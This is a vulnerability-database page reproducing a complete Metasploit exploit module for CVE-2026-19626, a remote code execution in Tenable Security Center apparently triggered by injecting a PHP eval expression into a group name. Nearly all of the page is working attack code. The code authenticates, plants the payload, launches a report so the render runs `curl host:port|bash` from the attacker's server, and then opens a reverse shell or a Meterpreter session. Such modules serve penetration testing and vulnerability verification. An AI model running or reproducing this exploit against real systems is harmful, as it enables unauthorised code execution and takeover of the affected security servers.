Tenable Security Center Report Charting RCE
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for Eval Injection in Tenable Security_Center | 24 Aug 202612:42 | – | githubexploit | |
| CVE-2026-19626 | 14 Aug 202616:55 | – | attackerkb | |
| CVE-2026-19626 | 14 Aug 202617:50 | – | circl | |
| CVE-2026-19626 | 14 Aug 202616:55 | – | cve | |
| CVE-2026-19626 Remote Code Execution | 14 Aug 202616:55 | – | cvelist | |
| EUVD-2026-58727 | 14 Aug 202616:55 | – | euvd | |
| POC-CVE-2026-19626 | 25 Aug 202604:28 | – | kitploit | |
| CVE-2026-19626 | 14 Aug 202617:17 | – | nvd | |
| Tenable Security Center Report Charting Remote Code Execution | 26 Aug 202600:00 | – | packetstorm | |
| PT-2026-72055 | 14 Aug 202600:00 | – | ptsecurity |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tenable Security Center Report Charting RCE',
'Description' => %q{
Tenable Security Center prior to 6.9.0 allows an authenticated,
non-administrative user to achieve code execution as the web service
account (tns) through report generation.
A report definition's inline style is discarded at render (components
rehydrate styles from the Style tables by styleID), so the payload is
delivered through a label instead: a group created with the name
`{=system('CMD')}` is accepted verbatim and becomes a pie sector
label via a user/sumgroup query; `{label}` substitution runs BEFORE
the eval loop, so the payload lands inside the format string and
fires at chart render. Regular org users can create both; report
launch refuses ROLE_ADMIN - this bug class is explicitly non-admin.
Payload constraints: the {=...} regex is non-greedy to the first
closing brace, so the expression may not contain one, and PHP string
interpolation applies; this module therefore injects only
`curl <srvhost>:<srvport>|bash`
(a bare host:port GETs / and bash reads the served script from
stdin). The served script itself has no such limits, which the
Linux Dropper target exploits with a fetch payload
(cmd/linux/http/...) that downloads and execs a full native payload
(e.g. x64 meterpreter) from the payload adapter's own listener on
FETCH_SRVPORT.
Report definitions are closed to administrators (creation returns
error 163); supply credentials for a regular org user.
Tested against SecurityCenter 6.7.2-14 on RHEL9.
},
'License' => MSF_LICENSE,
'Author' => ['h00die'],
'References' => [
['URL', 'https://www.tenable.com/security/tns-2026-22'],
['CVE', '2026-19626']
],
'DisclosureDate' => '2026-08-13',
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [
# msf defaults to php payload, but SC bundles its own php and its not in the path so
# we want to avoid that since it'll fail
['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
# the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
# x86/aarch64/multi variants of cmd/linux/http/... work here too
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
# pinned: a native stage must come through a fetch payload to fit
# the charset-limited {=...} expression
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'PrependFork' => true,
# jobd renders asynchronously; a render queued behind another took
# ~25s in the lab (vs 11s solo). Keep the payload servers alive well
# past the exploit wait loop below so a late render still lands
'WfsDelay' => 30,
# fetch-payload staging (module-level so they apply even when the
# payload is selected by hand rather than via the Dropper target):
# the web process cwd isn't writable by tns, so stage from /tmp, and
# keep the fetch listener off this module's SRVPORT script server
'FETCH_WRITABLE_DIR' => '/tmp',
'FETCH_SRVPORT' => 8081
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
# report definitions are closed to admins — regular org user required
OptString.new('USERNAME', [true, 'Username to authenticate with (regular org user, not admin)', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
])
@groups = []
@definitions = []
end
def login(username, password)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
'ctype' => 'application/json',
'data' => { 'username' => username, 'password' => password }.to_json
)
fail_with(Failure::Unreachable, 'No response to login') unless res
json = res.get_json_document
fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0
token = json['response']
token = token['token'] if token.is_a?(Hash)
fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?
# the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
# only accepted alongside it (HttpClient keeps no cookie jar of its own).
# SC rotates the session id on login (two Set-Cookie headers) — keep only the
# final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session
{ 'X-SecurityCenter' => token.to_s, 'Cookie' => "TNS_SESSIONID=#{session}" }
end
def rest_request(session, method, *path, body: nil)
opts = {
'method' => method,
'uri' => normalize_uri(target_uri.path, 'rest', *path),
'headers' => session
}
if body
opts['ctype'] = 'application/json'
opts['data'] = body.to_json
end
res = send_request_cgi(opts)
fail_with(Failure::Unreachable, "No response to #{method} /rest/#{path.join('/')}") unless res
res
end
def rest_json(session, method, *path, body: nil)
rest_request(session, method, *path, body: body).get_json_document
end
# report definitions are closed to administrators (error 163); probe with a
# benign definition to fail early with a clear reason on admin credentials.
# Memoized — check and exploit share.
def worker_session
return @worker if @worker
session = login(datastore['USERNAME'], datastore['PASSWORD'])
json = rest_json(session, 'POST', 'reportDefinition', body: report_definition)
if json['error_code'] == 163
fail_with(Failure::NoAccess, 'Credentials are administrative, but report definitions are closed to administrators — supply a regular (non-admin) org user credential')
end
fail_with(Failure::UnexpectedReply, "Report creation failed: #{json['error_msg']}") if json['error_code'] != 0
delete_tracked_artifact(session, 'reportDefinition', json.dig('response', 'id')) # benign probe, discard now
@worker = session
end
# PDF report definition carrying a pieChart component. Schema per the 6.8.0
# validators: pdf requires styleFamily and non-empty chapters; chart
# components need a per-component dataSource and a style object.
#
# The inline style's format strings are NOT the delivery vector: they are
# stored verbatim in xmlDefinition but discarded at render (getReport's
# render context overwrites component style with StyleLib::getComponentStyle()
# fetched by styleID — the lab-verified reason the style-only PoC stalls).
# The payload rides the GROUP NAME alone ({label} substitution precedes the
# eval loop), so the style carries only benign built-in-shaped values and
# the payload appears exactly once in the request capture.
def report_definition
name = Rex::Text.rand_text_alphanumeric(8)
component = {
'tag' => 'component',
'name' => name,
'componentType' => 'pieChart',
'definition' => {
'dataSource' => {
'type' => 'query',
'querySourceType' => 'individual', # feeds DataSource.querySourceType (NOT NULL)
'sortColumn' => 'count',
'sortDirection' => 'asc',
# user/sumgroup: one row per group — the payload-named group
# becomes a sector label
'query' => { 'type' => 'user', 'tool' => 'sumgroup', 'filters' => [] }
},
'columns' => [{ 'name' => 'count' }],
'labelColumns' => 'groupID', # sumgroup rows map groupID -> group NAME string
'dataPoints' => 25,
'imageWidth' => 550,
'style' => {
'legend' => 'right',
'legendFormat' => '{label}',
'labelFormat' => '{label}'
}
}
}
{
'name' => name,
'description' => Rex::Text.rand_text_alphanumeric(8),
'type' => 'pdf',
'styleFamily' => 1, # >12 hard-fails PDF assembly; 1 rides the Plain fallback
'schedule' => { 'type' => 'never' }, # schedule required (error 146); never = manual launch only
'definition' => { 'chapters' => [{ 'name' => name, 'elements' => [component] }] }
}
end
# the {=...} expression body is eval'd as PHP inside a double-quoted string:
# no '}' (the regex closes on the first brace) and no quotes/dollar/backtick
# (PHP interpolation / payload quoting)
def expression(cmd)
"{=system(\"#{cmd}\")}"
end
# the delivery vehicle: a group whose NAME is the payload, plus the report
# definition that renders it into a pie legend — launch makes jobd render,
# and the render evals the group name
def fire(payload)
json = rest_json(@worker, 'POST', 'group', body: { 'name' => payload, 'description' => Rex::Text.rand_text_alphanumeric(8) })
fail_with(Failure::UnexpectedReply, "Group creation failed: #{json['error_msg']}") if json['error_code'] != 0
@groups << json.dig('response', 'id')
vprint_status("Created group #{@groups.last} carrying the payload name")
json = rest_json(@worker, 'POST', 'reportDefinition', body: report_definition)
fail_with(Failure::UnexpectedReply, "Report definition failed: #{json['error_msg']}") if json['error_code'] != 0
@definitions << json.dig('response', 'id')
vprint_status("Created report definition #{@definitions.last}")
json = rest_json(@worker, 'POST', 'reportDefinition', @definitions.last.to_s, 'launch', body: { 'id' => @definitions.last })
fail_with(Failure::UnexpectedReply, "Report launch failed: #{json['error_msg']}") if json['error_code'] != 0
print_status('Report launched — chart render evals the group-name payload')
end
def payload_srv_ip
srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost
end
# plaintext payload server (see http_server_ssl override): datastore SSL
# stays true for the client side against 443. Path MUST be root — the
# injected curl|bash fetch carries no path component, and leaving 'Path'
# unset mounts the default Proc on a random URI instead. Started once;
# check and exploit share it.
def start_payload_server
return if @server_started
@server_started = true
start_service('Path' => '/')
end
def on_request_uri(cli, _req)
vprint_status('Payload script requested')
@canary = true
# sc brings its own php, so use that location
if @payload_cmd&.end_with?('exec php')
@payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
end
send_response(cli, @payload_cmd.to_s, 'Content-Type' => 'text/plain')
end
# HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
# explicit 'ssl' => false gets clobbered (false is falsey) and the server
# inherits the datastore SSL meant for the 443 client side. The injected
# `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
# the datastore ssl) to false so this script server stays http. The Dropper
# target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
# too (cmd/linux/https/... exists if that ever needs encrypting).
def http_server_ssl
false
end
def check
@worker = worker_session
start_payload_server
@canary = false
srv_ip = payload_srv_ip
vprint_status("Launching a canary report whose legend curls http://#{srv_ip}:#{datastore['SRVPORT']}/ ...")
fire(expression("curl #{srv_ip}:#{datastore['SRVPORT']}"))
waited = 0
while waited < 30 && !@canary
Rex.sleep(1)
waited += 1
end
if @canary
CheckCode::Vulnerable("Report render eval fired (canary fetched http://#{srv_ip}:#{datastore['SRVPORT']}/ after #{waited}s)")
else
CheckCode::Unknown("No canary within #{waited}s — jobd render may be queued behind other reports; check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings")
end
end
def exploit
@worker = worker_session
# for the Dropper target payload.encoded is the fetch payload's
# download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
# chmod +x, exec); the payload adapter runs that listener itself, so this
# module only serves the command text at / below
@payload_cmd = payload.encoded
srv_ip = payload_srv_ip
start_payload_server
inject = "curl #{srv_ip}:#{datastore['SRVPORT']}|bash"
fail_with(Failure::BadConfig, "Injection carries characters the {=...} eval cannot survive: #{inject}") unless inject.count("}'\"`$").zero?
print_status("Injecting '#{inject}' as a group name (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
# baseline BEFORE firing: the dropper can connect back fast enough that the
# session exists by the time we reach the wait loop
initial = framework.sessions.count
fire(expression(inject))
# keep the payload server alive while jobd renders and the curl|bash runs;
# module cleanup would otherwise tear it down before the fetch lands.
# Render latency is the jobd queue depth: ~11s solo, ~25s queued behind
# one render in the lab — 120s covers a several-deep queue. AutoCheck
# doubles the number of renders (canary + payload); set AutoCheck false
# to halve the queue
print_status('Waiting for the report render and session...')
waited = 0
while waited < 120 && framework.sessions.count == initial
Rex.sleep(1)
waited += 1
vprint_status("Render still pending (#{waited}s)") if (waited % 30).zero?
end
if framework.sessions.count > initial
print_good('Session opened')
else
print_warning("No session after #{waited}s — the render may still be queued in jobd (re-run, or raise WfsDelay); verify #{srv_ip}:#{datastore['SRVPORT']} is reachable, and check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings")
end
end
# best-effort removal of everything the chain persisted: report definitions
# and payload groups. Runs after the wait loop, so a landed session is
# unaffected; a still pending render is cut short, which is fine — we
# already gave up on it
def cleanup
cleanup_list(@worker, 'reportDefinition', @definitions)
cleanup_list(@worker, 'group', @groups)
ensure
super
end
def cleanup_list(session, kind, ids)
return unless session && ids
ids.compact.each do |id|
rest_request(session, 'DELETE', kind, id.to_s)
vprint_status("Deleted #{kind} #{id}")
rescue StandardError => e
vprint_status("Deleting #{kind} #{id} failed: #{e.class} #{e.message}")
end
end
def delete_tracked_artifact(session, kind, id)
return if id.blank?
(@definitions << id) if kind == 'reportDefinition'
(@groups << id) if kind == 'group'
rest_request(session, 'DELETE', kind, id.to_s)
vprint_status("Deleted #{kind} #{id}")
rescue StandardError => e
vprint_status("Deleting #{kind} #{id} failed: #{e.class} #{e.message}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Aug 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.4
CVSS 3.19.9
EPSS0.01444
SSVC